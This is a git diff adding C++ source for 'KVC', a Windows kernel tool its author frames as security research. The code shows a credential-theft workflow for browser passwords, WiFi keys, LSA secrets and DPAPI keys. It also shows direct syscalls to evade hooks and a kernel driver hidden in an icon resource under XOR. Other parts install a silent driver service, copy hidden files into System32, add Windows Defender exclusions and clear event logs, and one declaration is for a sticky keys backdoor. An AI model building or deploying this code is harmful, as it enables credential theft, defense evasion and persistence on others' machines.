"\\" + SECURITY_MODULE_NAME; + if (fs::exists(systemPath)) + return systemPath; + } + + return ""; + }; + + g_securityModulePath = findSecurityModule(); + if (g_securityModulePath.empty()) + { + std::wcerr << L"Error: " << SECURITY_MODULE_NAME << L" not found in current directory or System32!" << std::endl; + return 1; + } + + // Parse command line arguments + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + isVerbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + outputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + Console(false).displayBanner(); + Console(false).printUsage(); + return 0; + } + else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-') + browserTarget = arg; + } + + Console console(isVerbose); + console.displayBanner(); + + // Check SQLite availability - system winsqlite3.dll preferred, fallback to local sqlite3.dll + if (!CheckWinSQLite3Available()) + { + console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll"); + if (!fs::exists("sqlite3.dll")) + { + console.Error("Neither winsqlite3.dll nor sqlite3.dll available"); + return 1; + } + } + + if (browserTarget.empty()) + { + console.printUsage(); + return 0; + } + + // Initialize direct syscalls for low-level operations + if (!InitializeSyscalls(isVerbose)) + { + console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."); + return 1; + } + + // Prepare output directory structure + if (outputPath.empty()) + outputPath = fs::current_path() / "output"; + + std::error_code ec; + if (!fs::exists(outputPath)) { + fs::create_directories(outputPath, ec); + if (ec) { + console.Error("Failed to create output directory: " + Utils::path_to_api_string(outputPath) + + ". Error: " + ec.message()); + return 1; + } + } + + // Execute browser security analysis + if (browserTarget == L"all") + { + try + { + ProcessAllBrowsers(console, isVerbose, outputPath); + } + catch (const std::exception& e) + { + console.Error(e.what()); + return 1; + } + } + else + { + auto optConfig = Configuration::CreateFromArgs(argc, argv, console); + if (!optConfig) + return 1; + + try + { + if (!isVerbose) + console.Info("Processing " + optConfig->browserDisplayName + "...\n"); + + auto stats = RunInjectionWorkflow(*optConfig, console); + + if (!isVerbose) + DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, optConfig->outputPath); + else + console.Success("\nSecurity analysis completed successfully"); + } + catch (const std::runtime_error& e) + { + console.Error(e.what()); + return 1; + } + } + + console.Debug("Security orchestrator finished successfully."); + return 0; +} \ No newline at end of file diff --git a/kvc/Controller.h b/kvc/Controller.h new file mode 100644 index 0000000..7b6ccfd --- /dev/null +++ b/kvc/Controller.h @@ -0,0 +1,237 @@ +#pragma once + +#include "kvcDrv.h" +#include "OffsetFinder.h" +#include "TrustedInstallerIntegrator.h" +#include "Utils.h" +#include +#include +#include + +class ReportExporter; + +// Core kernel process structures +struct ProcessEntry +{ + ULONG_PTR KernelAddress; // EPROCESS structure address + DWORD Pid; // Process identifier + UCHAR ProtectionLevel; // PP/PPL/None protection level + UCHAR SignerType; // Digital signature authority + UCHAR SignatureLevel; // Executable signature verification level + UCHAR SectionSignatureLevel; // DLL signature verification level + std::wstring ProcessName; // Process executable name +}; + +struct ProcessMatch +{ + DWORD Pid = 0; + std::wstring ProcessName; + ULONG_PTR KernelAddress = 0; +}; + +// WinSQLite dynamic loading for browser database operations +struct SQLiteAPI +{ + HMODULE hModule = nullptr; + int (*open_v2)(const char*, void**, int, const char*) = nullptr; + int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr; + int (*step)(void*) = nullptr; + const unsigned char* (*column_text)(void*, int) = nullptr; + const void* (*column_blob)(void*, int) = nullptr; + int (*column_bytes)(void*, int) = nullptr; + int (*finalize)(void*) = nullptr; + int (*close_v2)(void*) = nullptr; +}; + +// Password extraction result structure +struct PasswordResult +{ + std::wstring type; // Chrome, Edge, WiFi credential type + std::wstring profile; // Browser/WiFi profile name + std::wstring url; // URL for browser logins + std::wstring username; // Login username + std::wstring password; // Decrypted password + std::wstring file; // Source file path + std::wstring data; // Additional data + std::wstring status; // DECRYPTED, ENCRYPTED, FAILED + uintmax_t size = 0; // Data size in bytes +}; + +// Registry master key for DPAPI operations +struct RegistryMasterKey +{ + std::wstring keyName; // Registry key path (DPAPI_SYSTEM, NL$KM, etc.) + std::vector encryptedData; // Raw encrypted data + std::vector decryptedData; // Decrypted data + bool isDecrypted = false; // Decryption success flag +}; + +// Main controller class with atomic operation management +class Controller +{ +public: + Controller(); + ~Controller(); + + Controller(const Controller&) = delete; + Controller& operator=(const Controller&) = delete; + Controller(Controller&&) noexcept = default; + Controller& operator=(Controller&&) noexcept = default; + + // Memory dumping operations with atomic driver management + bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept; + bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept; + + // Combined binary processing for kvc.dat + bool LoadAndSplitCombinedBinaries() noexcept; + bool WriteExtractedComponents(const std::vector& kvcPassData, + const std::vector& kvcCryptData) noexcept; + + // Process information operations with driver caching + bool ListProtectedProcesses() noexcept; + bool GetProcessProtection(DWORD pid) noexcept; + bool GetProcessProtectionByName(const std::wstring& processName) noexcept; + + // Process protection manipulation with atomic operations + bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + bool UnprotectProcess(DWORD pid) noexcept; + + bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + bool UnprotectProcessByName(const std::wstring& processName) noexcept; + bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + + bool UnprotectAllProcesses() noexcept; + bool UnprotectMultipleProcesses(const std::vector& targets) noexcept; + + // DPAPI password extraction with TrustedInstaller + bool ShowPasswords(const std::wstring& outputPath) noexcept; + bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept; + + // Enhanced system integration with comprehensive Defender exclusion management + bool RunAsTrustedInstaller(const std::wstring& commandLine); + bool RunAsTrustedInstallerSilent(const std::wstring& command); + bool AddContextMenuEntries(); + + // Legacy exclusion management (backward compatibility) + bool AddToDefenderExclusions(const std::wstring& customPath = L""); + bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); + + // Enhanced exclusion management with type specification + bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); + bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); + + // Type-specific exclusion convenience methods + bool AddExtensionExclusion(const std::wstring& extension); + bool RemoveExtensionExclusion(const std::wstring& extension); + bool AddIpAddressExclusion(const std::wstring& ipAddress); + bool RemoveIpAddressExclusion(const std::wstring& ipAddress); + bool AddProcessExclusion(const std::wstring& processName); + bool RemoveProcessExclusion(const std::wstring& processName); + bool AddPathExclusion(const std::wstring& path); + bool RemovePathExclusion(const std::wstring& path); + + // Event log clearing operations with administrative privileges + bool ClearSystemEventLogs() noexcept; + + // Legacy driver management for compatibility + bool InstallDriver() noexcept; + bool UninstallDriver() noexcept; + bool StartDriverService() noexcept; + bool StopDriverService() noexcept; + bool StartDriverServiceSilent() noexcept; + std::vector ExtractEncryptedDriver() noexcept; + std::vector DecryptDriver(const std::vector& encryptedData) noexcept; + + // Self-protection operations + bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; + std::optional ResolveNameWithoutDriver(const std::wstring& processName) noexcept; + + // Sticky keys backdoor management + bool InstallStickyKeysBackdoor() noexcept; + bool RemoveStickyKeysBackdoor() noexcept; + +private: + // Core components + TrustedInstallerIntegrator m_trustedInstaller; + std::unique_ptr m_rtc; + std::unique_ptr m_of; + SQLiteAPI m_sqlite; + + // Privilege and system management + bool EnablePrivilege(LPCWSTR privilegeName) noexcept; + bool EnableDebugPrivilege() noexcept; + + // Enhanced file writing with TrustedInstaller privileges + bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept; + + // PE splitting with enhanced validation + bool SplitCombinedPE(const std::vector& combinedData, + std::vector& kvcPassData, + std::vector& kvcCryptData) noexcept; + + // Atomic driver operations for stability + bool EnsureDriverAvailable() noexcept; + bool IsDriverCurrentlyLoaded() noexcept; + bool PerformAtomicInit() noexcept; + bool PerformAtomicInitWithErrorCleanup() noexcept; + + // Silent driver installation + bool InstallDriverSilently() noexcept; + bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept; + + // Kernel process management + std::optional GetInitialSystemProcessAddress() noexcept; + std::optional GetProcessKernelAddress(DWORD pid) noexcept; + std::vector GetProcessList() noexcept; + std::optional GetProcessProtection(ULONG_PTR addr) noexcept; + bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept; + + // Process pattern matching with regex support + std::vector FindProcessesByName(const std::wstring& pattern) noexcept; + bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept; + + // Memory dumping with comprehensive protection handling + bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept; + bool SetCurrentProcessProtection(UCHAR protection) noexcept; + + // DPAPI extraction lifecycle + bool PerformPasswordExtractionInit() noexcept; + void PerformPasswordExtractionCleanup() noexcept; + + // Registry master key extraction with TrustedInstaller + bool ExtractRegistryMasterKeys(std::vector& masterKeys) noexcept; + bool ExtractLSASecretsViaTrustedInstaller(std::vector& masterKeys) noexcept; + bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector& masterKeys) noexcept; + bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; + + // Registry master key processing for enhanced display + bool ProcessRegistryMasterKeys(std::vector& masterKeys) noexcept; + std::string BytesToHexString(const std::vector& bytes) noexcept; + + // Browser password processing with AES-GCM decryption + bool ProcessBrowserPasswords(const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; + bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; + bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& decryptedKey) noexcept; + int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector& masterKey, std::vector& results, const std::wstring& outputPath) noexcept; + + // WiFi credential extraction via netsh + bool ExtractWiFiCredentials(std::vector& results) noexcept; + + // SQLite database operations + bool LoadSQLiteLibrary() noexcept; + void UnloadSQLiteLibrary() noexcept; + + // Cryptographic operations for DPAPI and Chrome AES-GCM + std::vector Base64Decode(const std::string& encoded) noexcept; + std::vector DecryptWithDPAPI(const std::vector& encryptedData, const std::vector& masterKeys) noexcept; + std::string DecryptChromeAESGCM(const std::vector& encryptedData, const std::vector& key) noexcept; + + // Process name resolution with driver-free options + std::optional ResolveProcessName(const std::wstring& processName) noexcept; + std::vector FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept; + + // Emergency cleanup for atomic operations + bool PerformAtomicCleanup() noexcept; + +}; \ No newline at end of file diff --git a/kvc/ControllerBinaryManager.cpp b/kvc/ControllerBinaryManager.cpp new file mode 100644 index 0000000..f4eeec6 --- /dev/null +++ b/kvc/ControllerBinaryManager.cpp @@ -0,0 +1,260 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerBinaryManager.cpp - Fixed compilation issues +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include "TrustedInstallerIntegrator.h" +#include + +namespace fs = std::filesystem; + +bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept +{ + // First attempt: normal write operation + if (Utils::WriteFile(filePath, data)) { + return true; + } + + // If normal write fails, check if file exists and handle system files + const DWORD attrs = GetFileAttributesW(filePath.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + INFO(L"Target file exists, attempting privileged overwrite: %s", filePath.c_str()); + + // Clear restrictive attributes first + if (attrs & (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)) { + SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + // Force delete if still locked + if (!DeleteFileW(filePath.c_str())) { + // Use TrustedInstaller for stubborn files - call on instance + std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\""; + if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) { + ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str()); + return false; + } + } + } + + // Retry normal write after cleanup + if (Utils::WriteFile(filePath, data)) { + return true; + } + + // Final fallback: use TrustedInstaller to write file + const fs::path tempDir = fs::temp_directory_path(); + const fs::path tempFile = tempDir / fs::path(filePath).filename(); + + // Write to temp location first + if (!Utils::WriteFile(tempFile.wstring(), data)) { + ERROR(L"Failed to write to temporary location: %s", tempFile.c_str()); + return false; + } + + // Copy from temp to target with TrustedInstaller - call on instance + std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\""; + bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd); + + // Cleanup temp file + DeleteFileW(tempFile.c_str()); + + if (!copySuccess) { + ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str()); + return false; + } + + return true; +} + +// Enhanced file writing with TrustedInstaller privileges and proper overwrite handling +bool Controller::WriteExtractedComponents(const std::vector& kvcPassData, + const std::vector& kvcCryptData) noexcept +{ + INFO(L"Writing extracted components to target locations"); + + try { + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) { + ERROR(L"Failed to get System32 directory path"); + return false; + } + + const fs::path system32Dir = systemDir; + const fs::path kvcPassPath = system32Dir / KVC_PASS_FILE; + const fs::path kvcCryptPath = system32Dir / KVC_CRYPT_FILE; + const fs::path kvcMainPath = system32Dir / L"kvc.exe"; + + INFO(L"Target paths - kvc_pass.exe: %s", kvcPassPath.c_str()); + INFO(L"Target paths - kvc_crypt.dll: %s", kvcCryptPath.c_str()); + INFO(L"Target paths - kvc.exe: %s", kvcMainPath.c_str()); + + // Get current executable path for self-copy + wchar_t currentExePath[MAX_PATH]; + if (GetModuleFileNameW(nullptr, currentExePath, MAX_PATH) == 0) { + ERROR(L"Failed to get current executable path"); + return false; + } + + auto currentExeData = Utils::ReadFile(currentExePath); + if (currentExeData.empty()) { + ERROR(L"Failed to read current executable for self-copy"); + return false; + } + + // Write all components using enhanced method with privilege escalation + bool allSuccess = true; + + // Write kvc_pass.exe + if (!WriteFileWithPrivileges(kvcPassPath.wstring(), kvcPassData)) { + ERROR(L"Failed to write kvc_pass.exe to System32 directory"); + allSuccess = false; + } else { + INFO(L"Successfully wrote kvc_pass.exe (%zu bytes)", kvcPassData.size()); + } + + // Write kvc_crypt.dll + if (!WriteFileWithPrivileges(kvcCryptPath.wstring(), kvcCryptData)) { + ERROR(L"Failed to write kvc_crypt.dll to System32 directory"); + allSuccess = false; + // Cleanup on partial failure + DeleteFileW(kvcPassPath.c_str()); + } else { + INFO(L"Successfully wrote kvc_crypt.dll (%zu bytes)", kvcCryptData.size()); + } + + // Write kvc.exe (self-copy) + if (!WriteFileWithPrivileges(kvcMainPath.wstring(), currentExeData)) { + ERROR(L"Failed to write kvc.exe to System32 directory"); + allSuccess = false; + // Cleanup on partial failure + DeleteFileW(kvcPassPath.c_str()); + DeleteFileW(kvcCryptPath.c_str()); + } else { + INFO(L"Successfully wrote kvc.exe (%zu bytes)", currentExeData.size()); + } + + if (!allSuccess) { + return false; + } + + // Set stealth attributes for all files + const DWORD stealthAttribs = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN; + + SetFileAttributesW(kvcPassPath.c_str(), stealthAttribs); + SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs); + SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs); + + // Add Windows Defender exclusions for deployed components + INFO(L"Adding Windows Defender exclusions for deployed components"); + + // Add paths (all files) + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring()); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring()); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring()); + + // Add processes (executables only) + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe"); + m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe"); + + INFO(L"Windows Defender exclusions configured successfully"); + + INFO(L"Binary component extraction and deployment completed successfully"); + return true; + + } catch (const std::exception& e) { + ERROR(L"Exception during component writing: %S", e.what()); + return false; + } catch (...) { + ERROR(L"Unknown exception during component writing"); + return false; + } +} + +// Main entry point for kvc.dat processing - decrypt and extract components +bool Controller::LoadAndSplitCombinedBinaries() noexcept +{ + INFO(L"Starting kvc.dat processing - loading combined encrypted binary"); + + try { + const fs::path currentDir = fs::current_path(); + const fs::path kvcDataPath = currentDir / KVC_DATA_FILE; + + if (!fs::exists(kvcDataPath)) { + ERROR(L"kvc.dat file not found in current directory: %s", kvcDataPath.c_str()); + return false; + } + + auto encryptedData = Utils::ReadFile(kvcDataPath.wstring()); + if (encryptedData.empty()) { + ERROR(L"Failed to read kvc.dat file or file is empty"); + return false; + } + + INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size()); + + // Decrypt using XOR cipher with predefined key + auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY); + if (decryptedData.empty()) { + ERROR(L"XOR decryption failed - invalid encrypted data"); + return false; + } + + INFO(L"XOR decryption completed successfully"); + + // Split combined binary into separate PE components + std::vector kvcPassData, kvcCryptData; + if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) { + ERROR(L"Failed to split combined PE data into components"); + return false; + } + + if (kvcPassData.empty() || kvcCryptData.empty()) { + ERROR(L"Extracted components are empty - invalid PE structure"); + return false; + } + + INFO(L"PE splitting successful - kvc_pass.exe: %zu bytes, kvc_crypt.dll: %zu bytes", + kvcPassData.size(), kvcCryptData.size()); + + // Write extracted components with enhanced error handling + if (!WriteExtractedComponents(kvcPassData, kvcCryptData)) { + ERROR(L"Failed to write extracted binary components to disk"); + return false; + } + + INFO(L"kvc.dat processing completed successfully"); + return true; + + } catch (const std::exception& e) { + ERROR(L"Exception during kvc.dat processing: %S", e.what()); + return false; + } catch (...) { + ERROR(L"Unknown exception during kvc.dat processing"); + return false; + } +} + diff --git a/kvc/ControllerCore.cpp b/kvc/ControllerCore.cpp new file mode 100644 index 0000000..8b0ff48 --- /dev/null +++ b/kvc/ControllerCore.cpp @@ -0,0 +1,188 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerCore.cpp +#include "Controller.h" +#include "common.h" +#include +#include "resource.h" + +extern volatile bool g_interrupted; + +Controller::Controller() : m_rtc(std::make_unique()), m_of(std::make_unique()) { + if (!m_of->FindAllOffsets()) { + ERROR(L"Failed to find required kernel structure offsets"); + } +} + +Controller::~Controller() { +} + +// Atomic operation cleanup - critical for BSOD prevention +bool Controller::PerformAtomicCleanup() noexcept { + INFO(L"Starting atomic cleanup procedure..."); + + // 1. First, close the connection to the driver + if (m_rtc) { + DEBUG(L"Cleaning up driver connection..."); + m_rtc->Cleanup(); // This ensures the handle is properly closed + } + + // 2. Wait for resources to be released + Sleep(200); + + // 3. Stop the service (if it exists) + DEBUG(L"Stopping driver service..."); + if (!StopDriverService()) { + ERROR(L"Failed to stop driver service during cleanup"); + // Continue on error - the service may already be stopped + } + + // 4. Verify that the service has stopped + DEBUG(L"Verifying service stopped..."); + bool serviceVerified = false; + if (InitDynamicAPIs()) { + for(int attempt = 0; attempt < 10; attempt++) { + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (hSCM) { + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS); + if (hService) { + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + serviceVerified = true; + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + break; + } + } + CloseServiceHandle(hService); + } else { + // Service does not exist - consider it stopped + serviceVerified = true; + CloseServiceHandle(hSCM); + break; + } + CloseServiceHandle(hSCM); + } + Sleep(100); + } + } + + // 5. Wait again for safety + Sleep(300); + + // 6. Only uninstall if the service is confirmed to be stopped + if (serviceVerified) { + DEBUG(L"Service verified stopped, uninstalling..."); + UninstallDriver(); + } else { + ERROR(L"Service still running, skipping uninstall to avoid BSOD"); + } + + // 7. Reinitialize for subsequent operations + Sleep(500); + m_rtc = std::make_unique(); + + SUCCESS(L"Atomic cleanup completed successfully"); + return true; +} + +bool Controller::PerformAtomicInit() noexcept { + if (!EnsureDriverAvailable()) { + ERROR(L"Failed to load driver for atomic operation"); + return false; + } + return true; +} + +bool Controller::PerformAtomicInitWithErrorCleanup() noexcept { + if (!PerformAtomicInit()) { + PerformAtomicCleanup(); + return false; + } + return true; +} + +// Core driver availability check with fallback mechanisms +bool Controller::EnsureDriverAvailable() noexcept { + // Phase 1: Check if the driver is already available (without testing) + if (IsDriverCurrentlyLoaded()) { + return true; + } + + // Phase 2: Try to start the existing service + if (!InitDynamicAPIs()) return false; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (hSCM) { + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_QUERY_STATUS | SERVICE_START); + if (hService) { + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + g_pStartServiceW(hService, 0, nullptr); + } + } + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCM); + + // Give it time to start + Sleep(500); + + // Check if it's running now (without a test read) + if (m_rtc->Initialize() && m_rtc->IsConnected()) { + return true; + } + } + + // Phase 3: Install a new driver (ONLY if necessary) + INFO(L"Initializing kernel driver component..."); + + if (!InstallDriverSilently()) { + ERROR(L"Failed to install kernel driver component"); + return false; + } + + if (!StartDriverServiceSilent()) { + ERROR(L"Failed to start kernel driver service"); + return false; + } + + // Phase 4: Final check + if (!m_rtc->Initialize()) { + ERROR(L"Failed to initialize kernel driver communication"); + return false; + } + + SUCCESS(L"Kernel driver component initialized successfully"); + return true; +} + +bool Controller::IsDriverCurrentlyLoaded() noexcept { + if (!m_rtc) return false; + return m_rtc->IsConnected(); // Just check if the device is open +} diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp new file mode 100644 index 0000000..ad241a1 --- /dev/null +++ b/kvc/ControllerDriverManager.cpp @@ -0,0 +1,369 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerDriverManager.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include "resource.h" +#include + +namespace fs = std::filesystem; + +// Driver service lifecycle management +bool Controller::StopDriverService() noexcept { + DEBUG(L"StopDriverService called"); + + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in StopDriverService"); + return false; + } + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) { + DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err == ERROR_SERVICE_DOES_NOT_EXIST) { + DEBUG(L"Service does not exist - considered stopped"); + return true; + } + + DEBUG(L"OpenServiceW failed: %d", err); + return false; + } + + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + DEBUG(L"Service already stopped"); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return true; + } + } + + SERVICE_STATUS stopStatus; + BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus); + DWORD err = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + DEBUG(L"ControlService result: %d, error: %d", success, err); + + return success || err == ERROR_SERVICE_NOT_ACTIVE; +} + +// Extract driver from steganographic icon resource +std::vector Controller::ExtractEncryptedDriver() noexcept { + auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); + if (iconData.size() <= 9662) { + ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); + return {}; + } + // Skip first 9662 bytes (actual icon data) to get embedded driver + return std::vector(iconData.begin() + 9662, iconData.end()); +} + +// Decrypt embedded driver using XOR cipher +// Decrypt embedded driver using XOR cipher +std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { + if (encryptedData.empty()) { + ERROR(L"No encrypted driver data provided"); + return {}; + } + + constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; + std::vector decryptedData = encryptedData; + + // Simple XOR decryption with repeating key + for (size_t i = 0; i < decryptedData.size(); ++i) { + decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey' + } + + return decryptedData; +} + +// Silent driver installation with TrustedInstaller privileges +bool Controller::InstallDriverSilently() noexcept { + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) return false; + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) return false; + + fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp + fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); + + if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false; + + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + // Copy with system privileges + std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\""; + if (!RunAsTrustedInstallerSilent(copyCommand)) { + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + DeleteFileW(tempDriverPath.c_str()); + + // REGISTER THE SERVICE WITH CORRECT PRIVILEGES + return RegisterDriverServiceSilent(driverPath.wstring()); +} + +bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + GetServiceName().c_str(), + L"Kernel Driver Service", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel + SERVICE_DEMAND_START, // start = demand (can be changed to auto) + SERVICE_ERROR_NORMAL, + driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS); + + if (hService) CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +bool Controller::StartDriverServiceSilent() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + 